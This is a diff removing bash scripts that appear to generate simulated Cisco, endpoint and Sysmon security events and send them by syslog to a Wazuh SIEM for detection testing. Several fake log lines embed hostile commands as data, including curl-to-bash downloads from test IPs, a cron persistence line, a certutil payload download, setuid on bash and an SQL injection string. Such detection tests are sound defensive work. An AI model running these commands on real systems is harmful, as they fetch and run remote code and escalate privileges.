-  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
64
-}
65
-
66
-random_id() {
67
-  printf "%s" "cisco-evt-$(date +%s)-$RANDOM-$RANDOM"
68
-}
69
-
70
-send_asa_acl_deny() {
71
-  local eid
72
-  eid="$(random_id)"
73
-  emit_syslog "<166>$(date '+%b %d %H:%M:%S') ${CISCO_DEVICE_HOST} %ASA-4-106023: Deny tcp src outside:${CISCO_SRC_IP}/51515 dst inside:${CISCO_DST_IP}/445 by access-group \"outside_access_in\" [0x0, 0x0] soc_mvp_test=true vendor=cisco product=asa event_id=${eid} event_type=cisco_asa_acl_deny severity=high"
74
-}
75
-
76
-send_asa_vpn_auth_fail() {
77
-  local eid
78
-  eid="$(random_id)"
79
-  emit_syslog "<166>$(date '+%b %d %H:%M:%S') ${CISCO_DEVICE_HOST} %ASA-4-113019: Group = RA-VPN, Username = ${CISCO_VPN_USER}, IP = ${CISCO_SRC_IP}, Session disconnected. Session Type: SSL, Duration: 0h:00m:01s, Bytes xmt: 0, Bytes rcv: 0, Reason: User Requested. soc_mvp_test=true vendor=cisco product=asa event_id=${eid} event_type=cisco_vpn_auth_fail severity=medium"
80
-}
81
-
82
-send_ios_login_fail() {
83
-  local eid
84
-  eid="$(random_id)"
85
-  emit_syslog "<165>$(date '+%b %d %H:%M:%S') ${CISCO_DEVICE_HOST} %SEC_LOGIN-4-LOGIN_FAILED: Login failed [user: ${CISCO_ADMIN_USER}] [Source: ${CISCO_SRC_IP}] [localport: 22] [Reason: Login Authentication Failed] at 19:30:00 UTC Tue Feb 17 2026 soc_mvp_test=true vendor=cisco product=ios event_id=${eid} event_type=cisco_ios_login_fail severity=medium"
86
-}
87
-
88
-send_ios_config_change() {
89
-  local eid
90
-  eid="$(random_id)"
91
-  emit_syslog "<165>$(date '+%b %d %H:%M:%S') ${CISCO_DEVICE_HOST} %SYS-5-CONFIG_I: Configured from console by ${CISCO_ADMIN_USER} on vty0 ( ${CISCO_SRC_IP} ) soc_mvp_test=true vendor=cisco product=ios event_id=${eid} event_type=cisco_config_change severity=low"
92
-}
93
-
94
-send_once() {
95
-  case "${SCENARIO}" in
96
-    asa_acl_deny)
97
-      send_asa_acl_deny
98
-      ;;
99
-    asa_vpn_auth_fail)
100
-      send_asa_vpn_auth_fail
101
-      ;;
102
-    ios_login_fail)
103
-      send_ios_login_fail
104
-      ;;
105
-    ios_config_change)
106
-      send_ios_config_change
107
-      ;;
108
-    all)
109
-      send_asa_acl_deny
110
-      send_asa_vpn_auth_fail
111
-      send_ios_login_fail
112
-      send_ios_config_change
113
-      ;;
114
-    *)
115
-      echo "error: unknown scenario '${SCENARIO}'"
116
-      echo "valid: asa_acl_deny | asa_vpn_auth_fail | ios_login_fail | ios_config_change | all"
117
-      exit 1
118
-      ;;
119
-  esac
120
-}
121
-
122
-if [[ "${FOREVER}" == "true" ]]; then
123
-  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
124
-  trap 'echo; echo "stopped"; exit 0' INT TERM
125
-  while true; do
126
-    send_once
127
-    sleep "${DELAY}"
128
-  done
129
-else
130
-  for ((i=1; i<=COUNT; i++)); do
131
-    send_once
132
-    if [[ "${i}" -lt "${COUNT}" ]]; then
133
-      sleep "${DELAY}"
134
-    fi
135
-  done
136
-fi

+ 0 - 228
scripts/send-wazuh-endpoint-agent-test-events.sh

@@ -1,228 +0,0 @@
1
-#!/usr/bin/env bash
2
-set -euo pipefail
3
-
4
-PLATFORM="${1:-all}"      # windows | mac | linux | all
5
-SCENARIO="${2:-all}"      # auth | process | persistence | privilege | malware | all
6
-COUNT="1"
7
-DELAY="0.3"
8
-FOREVER="false"
9
-DRY_RUN="${DRY_RUN:-0}"
10
-COUNT_SET="false"
11
-DELAY_SET="false"
12
-
13
-WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
14
-WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
15
-
16
-WIN_HOST="${WIN_HOST:-win-client-01}"
17
-MAC_HOST="${MAC_HOST:-mac-client-01}"
18
-LINUX_HOST="${LINUX_HOST:-linux-client-01}"
19
-SIM_USER="${SIM_USER:-jane.doe}"
20
-
21
-shift 2 || true
22
-
23
-while (($#)); do
24
-  case "$1" in
25
-    --forever)
26
-      FOREVER="true"
27
-      shift
28
-      ;;
29
-    *)
30
-      if [[ "${COUNT_SET}" == "false" ]]; then
31
-        COUNT="$1"
32
-        COUNT_SET="true"
33
-      elif [[ "${DELAY_SET}" == "false" ]]; then
34
-        DELAY="$1"
35
-        DELAY_SET="true"
36
-      else
37
-        echo "error: unexpected argument '$1'"
38
-        echo "usage: scripts/send-wazuh-endpoint-agent-test-events.sh [platform] [scenario] [count] [delay_seconds] [--forever]"
39
-        exit 1
40
-      fi
41
-      shift
42
-      ;;
43
-  esac
44
-done
45
-
46
-if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
47
-  echo "error: count must be a positive integer"
48
-  exit 1
49
-fi
50
-
51
-if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
52
-  echo "error: delay must be numeric (example: 0.5)"
53
-  exit 1
54
-fi
55
-
56
-emit_syslog() {
57
-  local msg="$1"
58
-  local sent="false"
59
-
60
-  if [[ "${DRY_RUN}" == "1" ]]; then
61
-    echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}"
62
-    return 0
63
-  fi
64
-
65
-  if command -v nc >/dev/null 2>&1; then
66
-    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
67
-      sent="true"
68
-    fi
69
-  fi
70
-
71
-  if [[ "${sent}" != "true" ]]; then
72
-    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
73
-      sent="true"
74
-    fi
75
-  fi
76
-
77
-  if [[ "${sent}" != "true" ]]; then
78
-    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
79
-    return 1
80
-  fi
81
-
82
-  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
83
-}
84
-
85
-rand_public_ip() {
86
-  if [[ $((RANDOM % 2)) -eq 0 ]]; then
87
-    echo "198.51.100.$((RANDOM % 240 + 10))"
88
-  else
89
-    echo "203.0.113.$((RANDOM % 240 + 10))"
90
-  fi
91
-}
92
-
93
-rand_private_ip() {
94
-  echo "10.$((RANDOM % 20 + 10)).$((RANDOM % 200 + 1)).$((RANDOM % 240 + 10))"
95
-}
96
-
97
-send_windows_auth() {
98
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_auth_fail severity=medium event_id=4625 account=\"${SIM_USER}\" src_ip=$(rand_public_ip) fail_count=$((RANDOM % 8 + 3))"
99
-}
100
-
101
-send_windows_process() {
102
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_suspicious_process severity=high event_id=4688 process=\"powershell.exe\" cmdline=\"powershell -enc <base64>\" parent=\"winword.exe\" user=\"${SIM_USER}\""
103
-}
104
-
105
-send_windows_persistence() {
106
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_persistence_registry severity=high event_id=4657 registry_path=\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Updater\" user=\"${SIM_USER}\""
107
-}
108
-
109
-send_windows_privilege() {
110
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_privilege_group_add severity=high event_id=4732 account=\"${SIM_USER}\" target_group=\"Administrators\""
111
-}
112
-
113
-send_windows_malware() {
114
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_malware_detected severity=high event_id=1116 engine=\"Defender\" threat=\"Trojan:Win32/AgentTesla\" path=\"C:\\\\Users\\\\${SIM_USER}\\\\AppData\\\\Local\\\\Temp\\\\invoice.exe\" action=\"quarantine\""
115
-}
116
-
117
-send_mac_auth() {
118
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_auth_fail severity=medium subsystem=\"com.apple.loginwindow\" user=\"${SIM_USER}\" src_ip=$(rand_public_ip) fail_count=$((RANDOM % 8 + 3))"
119
-}
120
-
121
-send_mac_process() {
122
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_suspicious_process severity=high process=\"osascript\" cmdline=\"osascript -e do shell script curl ...\" parent=\"Safari\" user=\"${SIM_USER}\""
123
-}
124
-
125
-send_mac_persistence() {
126
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_launchagent_created severity=high plist=\"/Users/${SIM_USER}/Library/LaunchAgents/com.apple.updater.plist\" user=\"${SIM_USER}\""
127
-}
128
-
129
-send_mac_privilege() {
130
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_privilege_escalation severity=high action=\"sudo\" user=\"${SIM_USER}\" tty=\"ttys001\" cmd=\"/bin/chmod +s /bin/bash\""
131
-}
132
-
133
-send_mac_malware() {
134
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_xprotect_detected severity=high signature=\"OSX.Adload\" file=\"/Users/${SIM_USER}/Downloads/installer.pkg\" action=\"blocked\""
135
-}
136
-
137
-send_linux_auth() {
138
-  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_ssh_auth_fail severity=medium process=\"sshd\" user=\"${SIM_USER}\" src_ip=$(rand_public_ip) fail_count=$((RANDOM % 8 + 3))"
139
-}
140
-
141
-send_linux_process() {
142
-  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_suspicious_process severity=high process=\"curl\" cmdline=\"curl http://198.51.100.20/a.sh | bash\" user=\"${SIM_USER}\""
143
-}
144
-
145
-send_linux_persistence() {
146
-  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_cron_persistence severity=high file=\"/etc/cron.d/system-update\" user=\"root\" command=\"*/5 * * * * curl -fsSL http://203.0.113.20/s | sh\""
147
-}
148
-
149
-send_linux_privilege() {
150
-  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_sudo_privilege_escalation severity=high user=\"${SIM_USER}\" command=\"sudo usermod -aG sudo ${SIM_USER}\" src_ip=$(rand_private_ip)"
151
-}
152
-
153
-send_linux_malware() {
154
-  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_malware_detected severity=high scanner=\"clamav\" signature=\"Unix.Trojan.Mirai\" file=\"/tmp/kworkerd\" action=\"removed\""
155
-}
156
-
157
-send_one_platform() {
158
-  local p="$1"
159
-  case "${SCENARIO}" in
160
-    auth)
161
-      "send_${p}_auth"
162
-      ;;
163
-    process)
164
-      "send_${p}_process"
165
-      ;;
166
-    persistence)
167
-      "send_${p}_persistence"
168
-      ;;
169
-    privilege)
170
-      "send_${p}_privilege"
171
-      ;;
172
-    malware)
173
-      "send_${p}_malware"
174
-      ;;
175
-    all)
176
-      "send_${p}_auth"
177
-      "send_${p}_process"
178
-      "send_${p}_persistence"
179
-      "send_${p}_privilege"
180
-      "send_${p}_malware"
181
-      ;;
182
-    *)
183
-      echo "error: unknown scenario '${SCENARIO}'"
184
-      echo "valid: auth | process | persistence | privilege | malware | all"
185
-      exit 1
186
-      ;;
187
-  esac
188
-}
189
-
190
-send_once() {
191
-  case "${PLATFORM}" in
192
-    windows)
193
-      send_one_platform "windows"
194
-      ;;
195
-    mac|macos)
196
-      send_one_platform "mac"
197
-      ;;
198
-    linux)
199
-      send_one_platform "linux"
200
-      ;;
201
-    all)
202
-      send_one_platform "windows"
203
-      send_one_platform "mac"
204
-      send_one_platform "linux"
205
-      ;;
206
-    *)
207
-      echo "error: unknown platform '${PLATFORM}'"
208
-      echo "valid: windows | mac | linux | all"
209
-      exit 1
210
-      ;;
211
-  esac
212
-}
213
-
214
-if [[ "${FOREVER}" == "true" ]]; then
215
-  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
216
-  trap 'echo; echo "stopped"; exit 0' INT TERM
217
-  while true; do
218
-    send_once
219
-    sleep "${DELAY}"
220
-  done
221
-else
222
-  for ((i=1; i<=COUNT; i++)); do
223
-    send_once
224
-    if [[ "${i}" -lt "${COUNT}" ]]; then
225
-      sleep "${DELAY}"
226
-    fi
227
-  done
228
-fi

Diferenças do arquivo suprimidas por serem muito extensas
+ 0 - 217
scripts/send-wazuh-fortigate-continuous.sh


Diferenças do arquivo suprimidas por serem muito extensas
+ 0 - 135
scripts/send-wazuh-fortigate-test-events.sh


+ 0 - 230
scripts/send-wazuh-proposal-appendix-b-events.sh

@@ -1,230 +0,0 @@
1
-#!/usr/bin/env bash
2
-set -euo pipefail
3
-
4
-# Usage:
5
-#   scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds]
6
-#
7
-# selector:
8
-#   all | b1 | b2 | b3 | <usecase_id>
9
-#   example usecase_id: B1-01, B2-01, B3-06
10
-
11
-SELECTOR="${1:-all}"
12
-COUNT="${2:-1}"
13
-DELAY="${3:-0.3}"
14
-EVENT_DELAY="${EVENT_DELAY:-0.05}"
15
-DRY_RUN="${DRY_RUN:-0}"
16
-FOREVER="false"
17
-PROFILE="${PROFILE:-simulation}"
18
-
19
-for arg in "${@:4}"; do
20
-  case "${arg}" in
21
-    --forever)
22
-      FOREVER="true"
23
-      ;;
24
-    --profile=*)
25
-      PROFILE="${arg#*=}"
26
-      ;;
27
-    *)
28
-      echo "error: unexpected argument '${arg}'"
29
-      echo "usage: scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds] [--forever] [--profile=simulation|production]"
30
-      exit 1
31
-      ;;
32
-  esac
33
-done
34
-
35
-WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
36
-WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
37
-
38
-VCENTER_HOST="${VCENTER_HOST:-vcenter-01}"
39
-ESXI_HOST="${ESXI_HOST:-esxi-01}"
40
-LOGMON_HOST="${LOGMON_HOST:-logmon-01}"
41
-WIN_SYSMON_HOST="${WIN_SYSMON_HOST:-win-sysmon-01}"
42
-SIM_USER="${SIM_USER:-jane.doe}"
43
-
44
-if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
45
-  echo "error: count must be a positive integer"
46
-  exit 1
47
-fi
48
-
49
-if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
50
-  echo "error: delay must be numeric"
51
-  exit 1
52
-fi
53
-
54
-if ! [[ "${EVENT_DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
55
-  echo "error: EVENT_DELAY must be numeric"
56
-  exit 1
57
-fi
58
-
59
-if [[ "${PROFILE}" != "simulation" && "${PROFILE}" != "production" ]]; then
60
-  echo "error: profile must be simulation or production"
61
-  exit 1
62
-fi
63
-
64
-rand_public_ip() {
65
-  if [[ $((RANDOM % 2)) -eq 0 ]]; then
66
-    echo "198.51.100.$((RANDOM % 240 + 10))"
67
-  else
68
-    echo "203.0.113.$((RANDOM % 240 + 10))"
69
-  fi
70
-}
71
-
72
-emit_syslog() {
73
-  local msg="$1"
74
-  local sent="false"
75
-
76
-  if [[ "${DRY_RUN}" == "1" ]]; then
77
-    echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}"
78
-    return 0
79
-  fi
80
-
81
-  if command -v nc >/dev/null 2>&1; then
82
-    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
83
-      sent="true"
84
-    fi
85
-  fi
86
-
87
-  if [[ "${sent}" != "true" ]]; then
88
-    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
89
-      sent="true"
90
-    fi
91
-  fi
92
-
93
-  if [[ "${sent}" != "true" ]]; then
94
-    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
95
-    return 1
96
-  fi
97
-
98
-  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
99
-}
100
-
101
-selector_matches() {
102
-  local id="$1"
103
-  local section="$2"
104
-  local sel
105
-  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
106
-  local idl
107
-  idl="$(echo "${id}" | tr '[:upper:]' '[:lower:]')"
108
-  local sec
109
-  sec="$(echo "${section}" | tr '[:upper:]' '[:lower:]')"
110
-
111
-  [[ "${sel}" == "all" || "${sel}" == "${sec}" || "${sel}" == "${idl}" ]]
112
-}
113
-
114
-emit_b_usecase() {
115
-  local id="$1"
116
-  local section="$2"
117
-  local severity="$3"
118
-  local source="$4"
119
-  local host="$5"
120
-  local usecase="$6"
121
-  local body="$7"
122
-
123
-  selector_matches "${id}" "${section}" || return 0
124
-
125
-  local tags
126
-  if [[ "${PROFILE}" == "production" ]]; then
127
-    tags="soc_mvp_test=true source=${source} severity=${severity}"
128
-  else
129
-    tags="soc_mvp_test=true source=${source} section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
130
-  fi
131
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} ${tags} ${body}"
132
-  sleep "${EVENT_DELAY}"
133
-}
134
-
135
-emit_b1() {
136
-  local sip
137
-  sip="$(rand_public_ip)"
138
-
139
-  emit_b_usecase "B1-01" "B1" "high" "vmware" "${VCENTER_HOST}" \
140
-    "vCenter GUI Login Failed 5 Times and Success 1 Time" \
141
-    "event_type=vmware_vcenter_login_fail_success login_fail_count=5 login_success_count=1 user=\"${SIM_USER}\" src_ip=${sip}"
142
-
143
-  emit_b_usecase "B1-02" "B1" "medium" "vmware" "${ESXI_HOST}" \
144
-    "ESXi Enable SSH on Hosts" \
145
-    "event_type=vmware_esxi_enable_ssh action=enable service=ssh user=\"root\" host=\"${ESXI_HOST}\""
146
-
147
-  emit_b_usecase "B1-03" "B1" "high" "vmware" "${ESXI_HOST}" \
148
-    "ESXi SSH Failed 5 Times and Success 1 Time" \
149
-    "event_type=vmware_esxi_ssh_fail_success ssh_fail_count=5 ssh_success_count=1 user=\"root\" src_ip=${sip}"
150
-}
151
-
152
-emit_b2() {
153
-  emit_b_usecase "B2-01" "B2" "low" "log_monitor" "${LOGMON_HOST}" \
154
-    "Log Monitor Logs Loss Detection" \
155
-    "event_type=log_loss_detection missing_stream=firewall expected_eps=500 observed_eps=0 duration_seconds=180"
156
-}
157
-
158
-emit_b3() {
159
-  emit_b_usecase "B3-01" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
160
-    "Sysmon LSASS Dumping" \
161
-    "event_type=sysmon_lsass_dump event_id=10 process=procdump.exe target_process=lsass.exe user=\"${SIM_USER}\""
162
-
163
-  emit_b_usecase "B3-02" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
164
-    "Sysmon SQL Injection" \
165
-    "event_type=sysmon_sql_injection event_id=1 process=w3wp.exe url=\"/app/login.php?id=1%27%20OR%201=1--\""
166
-
167
-  emit_b_usecase "B3-03" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
168
-    "Sysmon Webshell" \
169
-    "event_type=sysmon_webshell event_id=11 file=\"C:\\\\inetpub\\\\wwwroot\\\\shell.aspx\" process=w3wp.exe"
170
-
171
-  emit_b_usecase "B3-04" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
172
-    "Sysmon Uninstall" \
173
-    "event_type=sysmon_security_agent_uninstall event_id=1 process=msiexec.exe cmdline=\"msiexec /x security-agent\" user=\"${SIM_USER}\""
174
-
175
-  emit_b_usecase "B3-05" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
176
-    "Sysmon LSASS Dumping by Task Manager" \
177
-    "event_type=sysmon_lsass_dump_taskmgr event_id=10 process=taskmgr.exe target_process=lsass.exe action=create_dump"
178
-
179
-  emit_b_usecase "B3-06" "B3" "medium" "windows_sysmon" "${WIN_SYSMON_HOST}" \
180
-    "Sysmon CertUtil Download" \
181
-    "event_type=sysmon_certutil_download event_id=1 process=certutil.exe cmdline=\"certutil -urlcache -split -f http://198.51.100.22/payload.bin payload.bin\""
182
-}
183
-
184
-emit_selected_set() {
185
-  local sel
186
-  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
187
-
188
-  case "${sel}" in
189
-    all)
190
-      emit_b1
191
-      emit_b2
192
-      emit_b3
193
-      ;;
194
-    b1|b1-*)
195
-      emit_b1
196
-      ;;
197
-    b2|b2-*)
198
-      emit_b2
199
-      ;;
200
-    b3|b3-*)
201
-      emit_b3
202
-      ;;
203
-    *)
204
-      emit_b1
205
-      emit_b2
206
-      emit_b3
207
-      ;;
208
-  esac
209
-}
210
-
211
-echo "starting proposal Appendix B log simulator"
212
-echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN} profile=${PROFILE}"
213
-echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
214
-
215
-if [[ "${FOREVER}" == "true" ]]; then
216
-  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
217
-  trap 'echo; echo "stopped"; exit 0' INT TERM
218
-  while true; do
219
-    emit_selected_set
220
-    sleep "${DELAY}"
221
-  done
222
-else
223
-  for ((i=1; i<=COUNT; i++)); do
224
-    emit_selected_set
225
-    if [[ "${i}" -lt "${COUNT}" ]]; then
226
-      sleep "${DELAY}"
227
-    fi
228
-  done
229
-  echo "done"
230
-fi

+ 0 - 235
scripts/send-wazuh-proposal-appendix-c-events.sh

@@ -1,235 +0,0 @@
1
-#!/usr/bin/env bash
2
-set -euo pipefail
3
-
4
-# Usage:
5
-#   scripts/send-wazuh-proposal-appendix-c-events.sh [selector] [count] [delay_seconds] [--forever]
6
-#
7
-# selector:
8
-#   all | c1 | c2 | c3 | <usecase_id>
9
-#   example usecase_id: C1-01, C2-03, C3-04
10
-
11
-SELECTOR="${1:-all}"
12
-COUNT="${2:-1}"
13
-DELAY="${3:-0.3}"
14
-EVENT_DELAY="${EVENT_DELAY:-0.05}"
15
-DRY_RUN="${DRY_RUN:-0}"
16
-FOREVER="false"
17
-
18
-for arg in "${@:4}"; do
19
-  case "${arg}" in
20
-    --forever)
21
-      FOREVER="true"
22
-      ;;
23
-    *)
24
-      echo "error: unexpected argument '${arg}'"
25
-      echo "usage: scripts/send-wazuh-proposal-appendix-c-events.sh [selector] [count] [delay_seconds] [--forever]"
26
-      exit 1
27
-      ;;
28
-  esac
29
-done
30
-
31
-WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
32
-WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
33
-VPN_HOST="${VPN_HOST:-fgt-vpn-01}"
34
-WIN_HOST="${WIN_HOST:-win-ad-01}"
35
-SIM_USER="${SIM_USER:-alice.admin}"
36
-SIM_SERVICE_USER="${SIM_SERVICE_USER:-svc_backup}"
37
-SIM_SRC_IP="${SIM_SRC_IP:-203.0.113.44}"
38
-
39
-if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
40
-  echo "error: count must be a positive integer"
41
-  exit 1
42
-fi
43
-
44
-if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
45
-  echo "error: delay must be numeric"
46
-  exit 1
47
-fi
48
-
49
-emit_syslog() {
50
-  local msg="$1"
51
-  local sent="false"
52
-
53
-  if [[ "${DRY_RUN}" == "1" ]]; then
54
-    echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}"
55
-    return 0
56
-  fi
57
-
58
-  if command -v nc >/dev/null 2>&1; then
59
-    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
60
-      sent="true"
61
-    fi
62
-  fi
63
-
64
-  if [[ "${sent}" != "true" ]]; then
65
-    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
66
-      sent="true"
67
-    fi
68
-  fi
69
-
70
-  if [[ "${sent}" != "true" ]]; then
71
-    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
72
-    return 1
73
-  fi
74
-
75
-  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
76
-}
77
-
78
-selector_matches() {
79
-  local id="$1"
80
-  local section="$2"
81
-  local sel
82
-  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
83
-  local idl
84
-  idl="$(echo "${id}" | tr '[:upper:]' '[:lower:]')"
85
-  local sec
86
-  sec="$(echo "${section}" | tr '[:upper:]' '[:lower:]')"
87
-  [[ "${sel}" == "all" || "${sel}" == "${sec}" || "${sel}" == "${idl}" ]]
88
-}
89
-
90
-emit_c_usecase() {
91
-  local id="$1"
92
-  local section="$2"
93
-  local severity="$3"
94
-  local host="$4"
95
-  local usecase="$5"
96
-  local body="$6"
97
-
98
-  selector_matches "${id}" "${section}" || return 0
99
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} soc_mvp_test=true source=windows section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
100
-  sleep "${EVENT_DELAY}"
101
-}
102
-
103
-emit_c1() {
104
-  # Two successful logins by same user with impossible travel profile
105
-  emit_c_usecase "C1-01" "C1" "high" "${VPN_HOST}" \
106
-    "Impossible Travel Detection" \
107
-    "event_type=vpn_login_success event_id=4624 success=true user=\"${SIM_USER}\" src_ip=203.150.10.10 country=TH src_lat=13.7563 src_lon=100.5018 dst_host=vpn-gw-01"
108
-
109
-  emit_c_usecase "C1-01" "C1" "high" "${VPN_HOST}" \
110
-    "Impossible Travel Detection" \
111
-    "event_type=vpn_login_success event_id=4624 success=true user=\"${SIM_USER}\" src_ip=8.8.8.8 country=US src_lat=37.3861 src_lon=-122.0839 dst_host=vpn-gw-01"
112
-}
113
-
114
-emit_c2() {
115
-  emit_c_usecase "C2-01" "C2" "high" "${WIN_HOST}" \
116
-    "Privileged Account Usage Outside Business Hours" \
117
-    "event_type=windows_auth_success event_id=4624 success=true user=\"administrator\" is_admin=true src_ip=${SIM_SRC_IP} logon_type=10 dst_host=dc-01"
118
-
119
-  emit_c_usecase "C2-02" "C2" "medium" "${WIN_HOST}" \
120
-    "Dormant Account Activation" \
121
-    "event_type=windows_auth_success event_id=4624 success=true user=\"legacy.user\" src_ip=198.51.100.55 dst_host=dc-01"
122
-
123
-  emit_c_usecase "C2-03" "C2" "high" "${WIN_HOST}" \
124
-    "Service Account Interactive Logon" \
125
-    "event_type=windows_auth_success event_id=4624 success=true user=\"${SIM_SERVICE_USER}\" account_type=service is_service=true logon_type=10 src_ip=198.51.100.66 dst_host=filesrv-01"
126
-
127
-  emit_c_usecase "C2-04" "C2" "high" "${WIN_HOST}" \
128
-    "Rapid Privilege Escalation then Sensitive Access" \
129
-    "event_type=windows_privilege_group_add event_id=4732 user=\"${SIM_USER}\" action=group_add is_admin=true src_ip=10.10.1.20 dst_host=dc-01"
130
-
131
-  emit_c_usecase "C2-04" "C2" "high" "${WIN_HOST}" \
132
-    "Rapid Privilege Escalation then Sensitive Access" \
133
-    "event_type=windows_file_share_access event_id=5145 user=\"${SIM_USER}\" action=share_access src_ip=10.10.1.20 dst_host=filesrv-02 dst_port=445"
134
-}
135
-
136
-emit_c3() {
137
-  emit_c_usecase "C3-01" "C3" "high" "${WIN_HOST}" \
138
-    "Multiple Authentication Success Across Hosts" \
139
-    "event_type=windows_auth_success event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=app-01 dst_port=3389"
140
-  emit_c_usecase "C3-01" "C3" "high" "${WIN_HOST}" \
141
-    "Multiple Authentication Success Across Hosts" \
142
-    "event_type=windows_auth_success event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=app-02 dst_port=3389"
143
-  emit_c_usecase "C3-01" "C3" "high" "${WIN_HOST}" \
144
-    "Multiple Authentication Success Across Hosts" \
145
-    "event_type=windows_auth_success event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=db-01 dst_port=3389"
146
-  emit_c_usecase "C3-01" "C3" "high" "${WIN_HOST}" \
147
